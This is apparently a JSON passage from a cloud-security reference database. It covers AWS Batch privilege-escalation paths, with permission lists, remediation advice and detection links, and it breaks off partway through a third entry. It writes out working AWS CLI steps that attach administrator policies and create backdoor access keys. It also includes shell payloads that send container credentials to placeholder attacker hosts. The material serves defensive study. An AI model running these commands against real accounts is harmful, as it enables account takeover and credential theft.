        "title": "How AWS Batch works with IAM - AWS Batch",
        "url": "https://docs.aws.amazon.com/batch/latest/userguide/security_iam_service-with-iam.html"
      }
    ],
    "relatedPaths": [
      "batch-002"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/batch-001-iam-passrole+batch-registerjobdefinition+batch-submitjob",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L346"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `batch:RegisterJobDefinition`, and `batch:SubmitJob` permissions. Can be an IAM user or role. The attacker registers a new Batch job definition that passes a target IAM role as the `jobRoleArn`, then submits a job that executes a chosen payload using that role's credentials."
        },
        {
          "id": "job_definition",
          "label": "New Batch Job Definition",
          "type": "resource",
          "description": "A new AWS Batch job definition registered by the attacker. The key element is the `jobRoleArn` field, which is set to the target IAM role. Any container launched from this definition automatically assumes that role. The attacker controls both the container image and the command, allowing multiple payload options depending on the runtime.\n\nExample registration (attach-policy payload):\n```bash\naws batch register-job-definition \\\n  --job-definition-name privesc-job-def \\\n  --type container \\\n  --platform-capabilities FARGATE \\\n  --container-properties '{\n    \"image\": \"amazon/aws-cli:latest\",\n    \"jobRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\",\n    \"executionRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/EXECUTION_ROLE\",\n    \"resourceRequirements\": [{\"type\": \"VCPU\", \"value\": \"0.25\"}, {\"type\": \"MEMORY\", \"value\": \"512\"}],\n    \"networkConfiguration\": {\"assignPublicIp\": \"ENABLED\"},\n    \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }'\n```\n"
        },
        {
          "id": "batch_container",
          "label": "Fargate Container",
          "type": "resource",
          "description": "The AWS Batch Fargate container launched when the job is submitted. The container runs using the `jobRoleArn` from the job definition, meaning its process environment has temporary credentials for the target IAM role. The container executes the command embedded in the job definition using those credentials. The attacker's choice of payload determines what the container does with those credentials."
        },
        {
          "id": "admin_role",
          "label": "Target Role (jobRoleArn)",
          "type": "principal",
          "description": "The IAM role specified as the `jobRoleArn` in the job definition. This role must trust the Batch service (`batch.amazonaws.com`) so that Fargate containers can assume it. The role's temporary credentials are injected into the container environment via the ECS task credential endpoint. The outcome of the attack depends entirely on the permissions this role has."
        },
        {
          "id": "payload_attach_policy",
          "label": "Payload A: Attach Admin Policy",
          "type": "payload",
          "color": "#99ccff",
          "description": "Bake an `aws iam attach-user-policy` command into the job definition's container command. Uses the `amazon/aws-cli:latest` image \u2014 no custom image required. The container runs with the target role's credentials and calls `iam:AttachUserPolicy` to grant AdministratorAccess to the starting user.\n\nJob definition command:\n```bash\n[\"iam\", \"attach-user-policy\",\n \"--user-name\", \"STARTING_USER\",\n \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n```\n\nThe target role must have `iam:AttachUserPolicy` permission for this to succeed. This is the most direct path \u2014 the starting user gains admin immediately when the job completes.\n"
        },
        {
          "id": "payload_create_access_key",
          "label": "Payload B: Create Backdoor Access Keys",
          "type": "payload",
          "color": "#99ccff",
          "description": "Bake an `aws iam create-access-key` command into the job definition's container command. Uses the `amazon/aws-cli:latest` image. The container calls `iam:CreateAccessKey` for the starting user and prints the new AccessKeyId and SecretAccessKey to stdout. The credentials appear in the CloudWatch Logs stream for the Batch job.\n\nJob definition command:\n```bash\n[\"iam\", \"create-access-key\", \"--user-name\", \"STARTING_USER\"]\n```\n\nRetrieve the new credentials after the job completes:\n```bash\naws logs get-log-events \\\n  --log-group-name /aws/batch/job \\\n  --log-stream-name privesc-job-def/default/JOB_ID\n```\n\nThe target role must have `iam:CreateAccessKey` permission. This provides credential-based persistence \u2014 the new keys are a second, independent set of credentials for the starting user.\n"
        },
        {
          "id": "payload_exfil_https",
          "label": "Payload C: Exfiltrate Credentials via HTTPS",
          "type": "payload",
          "color": "#99ccff",
          "description": "Use a generic runtime image (e.g. `ubuntu:latest`) that has `sh` plus at least one of: `curl`, `wget`, or `python3`. The job definition command is a multi-line shell script that fetches the Fargate task's temporary credentials from the ECS task credential endpoint and POSTs them to an attacker-controlled HTTPS listener.\n\nThe credentials are available at `AWS_CONTAINER_CREDENTIALS_FULL_URI` (for Fargate) or at `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`:\n```bash\n#!/bin/sh\nCREDS=$(curl -s \"$AWS_CONTAINER_CREDENTIALS_FULL_URI\")\ncurl -s -X POST https://ATTACKER_LISTENER \\\n  -H \"Content-Type: application/json\" \\\n  -d \"$CREDS\"\n```\n\nThis produces the target role's AccessKeyId, SecretAccessKey, and SessionToken, which the attacker can configure locally:\n```bash\naws configure set aws_access_key_id AKID\naws configure set aws_secret_access_key SECRET\naws configure set aws_session_token TOKEN\n```\n\nNo IAM write permissions on the target role are required \u2014 only the ability to make an outbound HTTPS request from the container.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has AdministratorAccess or equivalent permissions. Using any of the three payloads, the attacker successfully leverages these permissions to gain full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Elevated Access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions but not full admin access. The chosen payload can leverage those permissions for data exfiltration (S3, RDS, DynamoDB), accessing sensitive resources, or exploring additional privilege escalation paths."
        },
        {
          "id": "no_perms",
          "label": "Minimal Access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role only has minimal permissions (e.g., `logs:PutLogEvents`). Regardless of the payload used, the privilege escalation provides limited value. The container command may fail or have no meaningful impact."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "job_definition",
          "label": "iam:PassRole + batch:RegisterJobDefinition",
          "description": "Register a new Batch job definition that passes the target role as the `jobRoleArn`. The `iam:PassRole` permission is required to assign the role to the job definition. The container image and command are chosen based on the intended payload.\n\nExample command (Payload A \u2014 attach-policy):\n```bash\naws batch register-job-definition \\\n  --job-definition-name privesc-job-def \\\n  --type container \\\n  --platform-capabilities FARGATE \\\n  --container-properties '{\n    \"image\": \"amazon/aws-cli:latest\",\n    \"jobRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\",\n    \"executionRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/EXECUTION_ROLE\",\n    \"resourceRequirements\": [{\"type\": \"VCPU\", \"value\": \"0.25\"}, {\"type\": \"MEMORY\", \"value\": \"512\"}],\n    \"networkConfiguration\": {\"assignPublicIp\": \"ENABLED\"},\n    \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }'\n```\n"
        },
        {
          "from": "job_definition",
          "to": "batch_container",
          "label": "batch:SubmitJob",
          "description": "Submit the registered job definition to an existing Batch job queue. AWS Batch schedules the job and launches a Fargate container using the configuration from the job definition \u2014 including the `jobRoleArn`.\n\nCommand:\n```bash\naws batch submit-job \\\n  --job-name privesc-job \\\n  --job-queue JOB_QUEUE_NAME \\\n  --job-definition privesc-job-def:1\n```\n"
        },
        {
          "from": "batch_container",
          "to": "admin_role",
          "label": "Container assumes jobRoleArn",
          "description": "The Fargate container automatically assumes the IAM role specified as the `jobRoleArn` in the job definition. Temporary credentials are injected into the container environment via the ECS task credential endpoint (`AWS_CONTAINER_CREDENTIALS_FULL_URI`). The container then executes its payload using those credentials."
        },
        {
          "from": "admin_role",
          "to": "payload_attach_policy",
          "label": "Option A",
          "description": "Use the aws-cli runtime (`amazon/aws-cli:latest`) and bake an `iam attach-user-policy` command into the job definition. The most direct path \u2014 grants AdministratorAccess to the starting user immediately upon job completion."
        },
        {
          "from": "admin_role",
          "to": "payload_create_access_key",
          "label": "Option B",
          "description": "Use the aws-cli runtime (`amazon/aws-cli:latest`) and bake an `iam create-access-key` command into the job definition. Creates a second set of programmatic credentials for the starting user; retrieve them from CloudWatch Logs after the job completes."
        },
        {
          "from": "admin_role",
          "to": "payload_exfil_https",
          "label": "Option C",
          "description": "Use a generic runtime image (e.g. `ubuntu:latest`) and bake a shell script that fetches the task's temporary credentials from the ECS credential endpoint and POSTs them to an attacker-controlled HTTPS listener. No IAM write permissions needed on the target role."
        },
        {
          "from": "payload_attach_policy",
          "to": "admin",
          "label": "If target role has admin or iam:AttachUserPolicy",
          "branch": "A1",
          "condition": "admin",
          "description": "The target role has `iam:AttachUserPolicy` (or AdministratorAccess). The container command successfully attaches AdministratorAccess to the starting user, granting full administrative access to the AWS account."
        },
        {
          "from": "payload_attach_policy",
          "to": "some_perms",
          "label": "If target role has elevated but non-IAM permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "The target role has elevated permissions but not `iam:AttachUserPolicy`. The attach-policy command fails, but the role's other permissions (S3, RDS, etc.) can still be leveraged for data access or further escalation via a different payload."
        },
        {
          "from": "payload_attach_policy",
          "to": "no_perms",
          "label": "If target role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "The target role has only minimal permissions. The attach-policy command fails and no meaningful privilege escalation is achieved."
        },
        {
          "from": "payload_create_access_key",
          "to": "admin",
          "label": "If target role has iam:CreateAccessKey",
          "branch": "B1",
          "condition": "admin",
          "description": "The target role has `iam:CreateAccessKey` and the starting user has admin-equivalent permissions. The container creates a new access key for the starting user; the new credentials appear in CloudWatch Logs. The attacker retrieves them and gains a second path to full administrative access."
        },
        {
          "from": "payload_create_access_key",
          "to": "some_perms",
          "label": "If target role has iam:CreateAccessKey, user has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "The target role has `iam:CreateAccessKey`. The container creates new credentials for the starting user. The resulting access is bounded by the starting user's existing permissions, which are elevated but not admin."
        },
        {
          "from": "payload_create_access_key",
          "to": "no_perms",
          "label": "If target role lacks iam:CreateAccessKey",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "The target role does not have `iam:CreateAccessKey`. The command fails and no new credentials are created. No meaningful privilege escalation is achieved."
        },
        {
          "from": "payload_exfil_https",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "The target role has AdministratorAccess or equivalent. The exfiltrated temporary credentials (AccessKeyId, SecretAccessKey, SessionToken) provide full administrative access when configured locally. No IAM write permissions were required for the exfiltration step."
        },
        {
          "from": "payload_exfil_https",
          "to": "some_perms",
          "label": "If target role has elevated permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "The target role has elevated but non-admin permissions. The exfiltrated credentials can be used for data access (S3, RDS, DynamoDB), lateral movement, or further privilege escalation attempts from the attacker's local environment."
        },
        {
          "from": "payload_exfil_https",
          "to": "no_perms",
          "label": "If target role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "The target role only has minimal permissions. The exfiltrated credentials provide limited value for further attacks regardless of what the attacker attempts locally."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/batch/batch-001.yaml"
  },
  {
    "id": "batch-002",
    "name": "batch:SubmitJob",
    "category": "existing-passrole",
    "services": [
      "iam",
      "batch"
    ],
    "permissions": {
      "required": [
        {
          "permission": "batch:SubmitJob",
          "resourceConstraints": "No resource constraints required; must be able to submit to the target job queue"
        }
      ],
      "additional": [
        {
          "permission": "batch:DescribeJobDefinitions",
          "resourceConstraints": "Helpful for discovering job definitions that carry privileged jobRoleArns"
        },
        {
          "permission": "batch:DescribeJobQueues",
          "resourceConstraints": "Helpful for discovering available job queues"
        },
        {
          "permission": "batch:DescribeJobs",
          "resourceConstraints": "Useful for polling job execution status"
        },
        {
          "permission": "batch:DescribeComputeEnvironments",
          "resourceConstraints": "Helpful for understanding the compute environment configuration"
        }
      ]
    },
    "description": "A principal with only `batch:SubmitJob` can escalate privileges by submitting a job to an existing Batch job queue using a pre-existing job definition that already has an admin `jobRoleArn`. The `ContainerOverrides.Command` field allows the submitter to replace the container's default command with any arbitrary command \u2014 including `iam:AttachUserPolicy` \u2014 which executes using the job definition's admin role credentials. No `iam:PassRole` or `batch:RegisterJobDefinition` is required because the privileged role was already assigned to the existing job definition.",
    "prerequisites": {
      "admin": [
        "An existing Batch job definition must have an IAM role set as the jobRoleArn",
        "The jobRoleArn role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "An existing Batch job queue must be available to submit jobs to"
      ],
      "lateral": [
        "An existing Batch job definition must have an IAM role set as the jobRoleArn",
        "An existing Batch job queue must be available to submit jobs to"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws batch describe-job-definitions \\\n  --status ACTIVE \\\n  --query 'jobDefinitions[*].{name:jobDefinitionName,role:containerProperties.jobRoleArn}' \\\n  --output table\n",
          "description": "Enumerate existing active Batch job definitions to identify ones with privileged jobRoleArns attached."
        },
        {
          "step": 2,
          "command": "aws batch submit-job \\\n  --job-name privesc-override-job \\\n  --job-queue JOB_QUEUE_NAME \\\n  --job-definition PRIVILEGED_JOB_DEFINITION \\\n  --container-overrides '{\n    \"command\": [\n      \"iam\", \"attach-user-policy\",\n      \"--user-name\", \"STARTING_USER\",\n      \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"\n    ]\n  }'\n",
          "description": "Submit a job using the existing privileged job definition, overriding the container command via ContainerOverrides.Command to attach AdministratorAccess to the starting user. The container runs with the job definition's admin role credentials."
        },
        {
          "step": 3,
          "command": "aws batch describe-jobs \\\n  --jobs JOB_ID \\\n  --query 'jobs[0].status' \\\n  --output text\n",
          "description": "Poll job status until it reaches SUCCEEDED, indicating the privilege escalation command has executed."
        },
        {
          "step": 4,
          "command": "aws iam list-attached-user-policies \\\n  --user-name STARTING_USER\n",
          "description": "Verify that AdministratorAccess is now attached to the starting user."
        }
      ]
    },
    "recommendation": "- **Restrict `batch:SubmitJob`** - This is the core attack permission. Only trusted principals that have a legitimate need to trigger Batch workloads should have this permission. Even without `iam:PassRole`, job submission is a powerful action when privileged job definitions exist.\n- **Audit existing job definitions for privileged roles** - Regularly review all active Batch job definitions and remove or down-scope any that carry administrative jobRoleArns. A job definition with an admin role is a persistent escalation vector for anyone with `batch:SubmitJob`.\n- **Use `batch:SubmitJob` conditions** - Restrict which job queues and job definitions a principal can submit to using IAM resource conditions on the `batch:SubmitJob` permission.\n- Monitor CloudTrail for Batch job submissions where the `ContainerOverrides` field modifies the container command, especially by principals who don't normally submit jobs\n- Monitor CloudTrail for Batch job submissions using job definitions with privileged roles\n- Alert on IAM policy attachment events (`iam:AttachUserPolicy`, `iam:AttachRolePolicy`) originating from Batch job execution roles\n- Regularly audit Batch job definitions for excessive IAM permissions on the `jobRoleArn`\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Zander Mackie",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by AWS Batch - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsbatch.html"
      },
      {
        "title": "Messing Around With AWS Batch For Privilege Escalations - Doyensec",
        "url": "https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html"
      },
      {
        "title": "How AWS Batch works with IAM - AWS Batch",
        "url": "https://docs.aws.amazon.com/batch/latest/userguide/security_iam_service-with-iam.html"
      }
    ],
    "relatedPaths": [
      "batch-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/batch-002-batch-submitjob",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L352"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with only `batch:SubmitJob` permission. No `iam:PassRole` or `batch:RegisterJobDefinition` is required. The attacker exploits a pre-existing Batch job definition that already has a privileged `jobRoleArn` assigned, and uses `ContainerOverrides.Command` to replace the default container command with a malicious one."
        },
        {
          "id": "existing_job_def",
          "label": "Existing Job Definition (admin jobRoleArn)",
          "type": "resource",
          "description": "A pre-existing AWS Batch job definition that already has an admin IAM role assigned as the `jobRoleArn`. This is a persistent misconfiguration \u2014 any principal with `batch:SubmitJob` access to the associated queue can submit jobs using this definition and override the container command. The privileged role was passed at definition creation time (likely by someone with `iam:PassRole`), so it does not need to be re-passed at submission time.\n\nEnumerate active job definitions to find ones with privileged roles:\n```bash\naws batch describe-job-definitions \\\n  --status ACTIVE \\\n  --query 'jobDefinitions[*].{name:jobDefinitionName,role:containerProperties.jobRoleArn}' \\\n  --output table\n```\n"
        },
        {
          "id": "admin_role",
          "label": "Admin Role (pre-existing jobRoleArn)",
          "type": "principal",
          "description": "The IAM role already assigned to the existing job definition as the `jobRoleArn`. Because this role was configured at definition creation time, the submitter does not need `iam:PassRole` to exploit it. When a container is launched from this definition, it automatically assumes this role. The outcome of the attack depends entirely on the permissions this role has. The attacker cannot change the container image at submit time \u2014 only the command, environment variables, and resource requirements can be overridden via `ContainerOverrides`."
        },
        {
          "id": "payload_attach_policy",
          "label": "Payload A: Attach Admin Policy",
          "type": "payload",
          "color": "#99ccff",
          "description": "Override the container command via `ContainerOverrides.Command` to run `aws iam attach-user-policy`, attaching AdministratorAccess to the starting user. This requires the existing job definition image to have the AWS CLI as its entrypoint (e.g., `amazon/aws-cli:latest`). The jobRoleArn must include `iam:AttachUserPolicy`. This is the most direct escalation path \u2014 admin access is granted immediately upon job completion.\n\nCommand:\n```bash\naws batch submit-job \\\n  --job-name privesc-override-job \\\n  --job-queue JOB_QUEUE_NAME \\\n  --job-definition PRIVILEGED_JOB_DEFINITION \\\n  --container-overrides '{\n    \"command\": [\n      \"iam\", \"attach-user-policy\",\n      \"--user-name\", \"STARTING_USER\",\n      \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"\n    ]\n  }'\n```\n"
        },
        {
          "id": "payload_create_access_key",
          "label": "Payload B: Create Backdoor Access Keys",
          "type": "payload",
          "color": "#99ccff",
          "description": "Override the container command to run `aws iam create-access-key --user-name TARGET_USER`. This requires the existing job definition image to have the AWS CLI as its entrypoint (e.g., `amazon/aws-cli:latest`). The jobRoleArn must include `iam:CreateAccessKey`. The new credentials (AccessKeyId and SecretAccessKey) are printed to stdout and appear in CloudWatch Logs. The attacker retrieves them with `aws logs get-log-events`. Provides persistent programmatic access that survives policy changes.\n\nCommand:\n```bash\naws batch submit-job \\\n  --job-name privesc-create-key \\\n  --job-queue JOB_QUEUE_NAME \\\n  --job-definition PRIVILEGED_JOB_DEFINITION \\\n  --container-overrides '{\n    \"command\": [\n      \"iam\", \"create-access-key\",\n      \"--user-name\", \"TARGET_USER\"\n    ]\n  }'\n```\n"
        },
        {
          "id": "payload_exfil_https",
          "label": "Payload C: Exfiltrate Credentials via HTTPS",
          "type": "payload",
          "color": "#99ccff",
          "description": "Override the container command to run a shell script that fetches the Fargate task's temporary credentials from the ECS credential endpoint (`AWS_CONTAINER_CREDENTIALS_FULL_URI` or relative to `169.254.170.2`) and POSTs them to an attacker-controlled HTTPS endpoint. Requires the existing job definition to use a generic image with `sh` and at least one of `curl`, `wget`, or `python3` available \u2014 the attacker cannot change the image at submit time. The exfiltrated credentials (AccessKeyId, SecretAccessKey, SessionToken) can be used from the attacker's own environment for the duration of the session token's validity.\n\nExample shell payload:\n```bash\n#!/bin/sh\nCREDS=$(curl -s \"${AWS_CONTAINER_CREDENTIALS_FULL_URI:-http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}\")\ncurl -X POST https://attacker.example.com/exfil -d \"$CREDS\"\n```\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The admin role has AdministratorAccess or includes the necessary IAM write permissions (e.g., `iam:AttachUserPolicy`, `iam:CreateAccessKey`). The overridden container command successfully escalates the starting user to full administrative access."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The role has elevated but non-admin permissions. The container can leverage those permissions for data access, lateral movement, or further escalation attempts. Direct IAM escalation commands will fail if the role lacks the required IAM write permissions."
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The role only has minimal permissions. The overridden container command fails or has no meaningful impact. No privilege escalation is achieved through this path."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_job_def",
          "label": "batch:SubmitJob (ContainerOverrides.Command)",
          "description": "Submit a job to the existing privileged job definition, overriding the container command via `ContainerOverrides.Command`. The `batch:SubmitJob` permission alone is sufficient \u2014 no `iam:PassRole` is needed because the privileged role is already embedded in the job definition."
        },
        {
          "from": "existing_job_def",
          "to": "admin_role",
          "label": "Container inherits pre-existing jobRoleArn",
          "description": "The job definition already has the admin IAM role set as the `jobRoleArn`. When a container is launched from this definition, it automatically assumes that role regardless of who submitted the job or what command they overrode. The role's temporary credentials are injected into the container environment via the ECS credential endpoint."
        },
        {
          "from": "admin_role",
          "to": "payload_attach_policy",
          "label": "Option A",
          "description": "Use `ContainerOverrides.Command` to override the container command to attach AdministratorAccess directly to the starting user. Requires the job definition image to have the AWS CLI as its entrypoint."
        },
        {
          "from": "admin_role",
          "to": "payload_create_access_key",
          "label": "Option B",
          "description": "Use `ContainerOverrides.Command` to override the container command to create new programmatic access keys for a target user. Credentials are written to stdout and retrievable from CloudWatch Logs. Requires the job definition image to have the AWS CLI as its entrypoint."
        },
        {
          "from": "admin_role",
          "to": "payload_exfil_https",
          "label": "Option C",
          "description": "Use `ContainerOverrides.Command` to override the container command to a shell script that reads the Fargate task's temporary credentials from the ECS credential endpoint and exfiltrates them over HTTPS. Requires a generic image with `sh` and `curl`, `wget`, or `python3`."
        },
        {
          "from": "payload_attach_policy",
          "to": "admin",
          "label": "If role has admin or iam:AttachUserPolicy",
          "branch": "A1",
          "condition": "admin",
          "description": "If the jobRoleArn has AdministratorAccess or includes `iam:AttachUserPolicy`, the override command successfully attaches AdministratorAccess to the starting user, achieving full administrative access."
        },
        {
          "from": "payload_attach_policy",
          "to": "some_perms",
          "label": "If role has elevated but non-admin permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the jobRoleArn has elevated permissions but lacks `iam:AttachUserPolicy`, the attach command fails. However, the role's existing permissions may enable other valuable actions such as data access or further escalation."
        },
        {
          "from": "payload_attach_policy",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the jobRoleArn only has minimal permissions, the attach command fails and no meaningful escalation is achieved."
        },
        {
          "from": "payload_create_access_key",
          "to": "admin",
          "label": "If role has admin or iam:CreateAccessKey",
          "branch": "B1",
          "condition": "admin",
          "description": "If the jobRoleArn has AdministratorAccess or includes `iam:CreateAccessKey`, the override command creates new access keys for a privileged user. The credentials appear in CloudWatch Logs and provide persistent programmatic access that survives policy changes."
        },
        {
          "from": "payload_create_access_key",
          "to": "some_perms",
          "label": "If role has elevated but non-admin permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the jobRoleArn has elevated permissions but lacks `iam:CreateAccessKey`, the key creation command fails. The role's other permissions may still enable useful actions."
        },
        {
          "from": "payload_create_access_key",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the jobRoleArn only has minimal permissions, the key creation command fails and no meaningful escalation is achieved."
        },
        {
          "from": "payload_exfil_https",
          "to": "admin",
          "label": "If role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the jobRoleArn has AdministratorAccess, the exfiltrated temporary credentials provide full administrative access usable from the attacker's own environment for the duration of the session token's validity."
        },
        {
          "from": "payload_exfil_https",
          "to": "some_perms",
          "label": "If role has elevated permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the jobRoleArn has some elevated permissions, the exfiltrated credentials can be used for data access, reconnaissance, or additional privilege escalation attempts from the attacker's environment."
        },
        {
          "from": "payload_exfil_https",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the jobRoleArn only has minimal permissions, the exfiltrated credentials provide limited value for further attacks."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/batch/batch-002.yaml"
  },
  {
    "id": "batch-003",
    "name": "iam:PassRole + batch:CreateComputeEnvironment + batch:CreateJobQueue + batch:RegisterJobDefinition + batch:SubmitJob",
    "category": "new-passrole",
    "services": [
      "iam",
      "batch"
    ],
    "parent": {
      "id": "batch-001",
      "modification": "Adds `batch:CreateComputeEnvironment` and `batch:CreateJobQueue` to build the entire Batch pipeline from scratch, removing the prerequisite that an existing job queue and compute environment must already exist in the account."
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role and a Batch execution role to the Batch service"
        },
        {
          "permission": "batch:CreateComputeEnvironment",
          "resourceConstraints": "No resource constraints required; auto-creates an ECS cluster via the Batch service-linked role"
        },
        {
          "permission": "batch:CreateJobQueue",
          "resourceConstraints": "No resource constraints required; must reference the attacker-created compute environment"
        },
        {
          "permission": "batch:RegisterJobDefinition",
          "resourceConstraints": "No resource constraints required"
        },
        {
          "permission": "batch:SubmitJob",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "batch:DescribeComputeEnvironments",
          "resourceConstraints": "Helpful for monitoring compute environment status during creation"
        },
        {
          "permission": "batch:DescribeJobQueues",
          "resourceConstraints": "Helpful for verifying job queue creation and state"
        },
        {
          "permission": "batch:DescribeJobs",
          "resourceConstraints": "Useful for polling job status to confirm execution"
        },
        {
          "permission": "batch:DescribeJobDefinitions",
          "resourceConstraints": "Useful for verifying job definition registration"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering IAM roles in the account to identify passable admin and execution roles"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Helpful for discovering available VPC subnets for the Fargate compute environment"
        },
        {
          "permission": "ec2:DescribeSecurityGroups",
          "resourceConstraints": "Helpful for discovering available security groups for the Fargate compute environment"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and broad AWS Batch permissions can escalate privileges by building the entire Batch pipeline from scratch \u2014 a Fargate compute environment, a job queue, and a job definition that passes an admin IAM role as the `jobRoleArn` \u2014 then submitting a job that calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user. Because the attacker creates every component of the pipeline, no pre-existing Batch infrastructure is required, making this path exploitable in accounts where AWS Batch has never been used before.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it (so it can be passed as jobRoleArn to a Batch job definition)",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "A Batch execution role must exist that trusts ecs-tasks.amazonaws.com with the AmazonECSTaskExecutionRolePolicy attached, required for Fargate to pull container images",
        "A VPC subnet with internet access (public subnet or NAT gateway) must be available for the Fargate compute environment"
      ],
      "lateral": [
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it (so it can be passed as jobRoleArn to a Batch job definition)",
        "A Batch execution role must exist that trusts ecs-tasks.amazonaws.com with the AmazonECSTaskExecutionRolePolicy attached, required for Fargate to pull container images",
        "A VPC subnet with internet access (public subnet or NAT gateway) must be available for the Fargate compute environment"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws batch create-compute-environment \\\n  --compute-environment-name privesc-compute-env \\\n  --type MANAGED \\\n  --state ENABLED \\\n  --compute-resources '{\n    \"type\": \"FARGATE\",\n    \"maxvCpus\": 2,\n    \"subnets\": [\"SUBNET_ID\"],\n    \"securityGroupIds\": [\"SECURITY_GROUP_ID\"]\n  }'\n",
          "description": "Create a new Fargate-managed compute environment from scratch. This auto-creates an underlying ECS cluster via the Batch service-linked role."
        },
        {
          "step": 2,
          "command": "aws batch create-job-queue \\\n  --job-queue-name privesc-job-queue \\\n  --state ENABLED \\\n  --priority 1 \\\n  --compute-environment-order '[{\"order\":1,\"computeEnvironment\":\"privesc-compute-env\"}]'\n",
          "description": "Create a new job queue wired to the attacker-created compute environment."
        },
        {
          "step": 3,
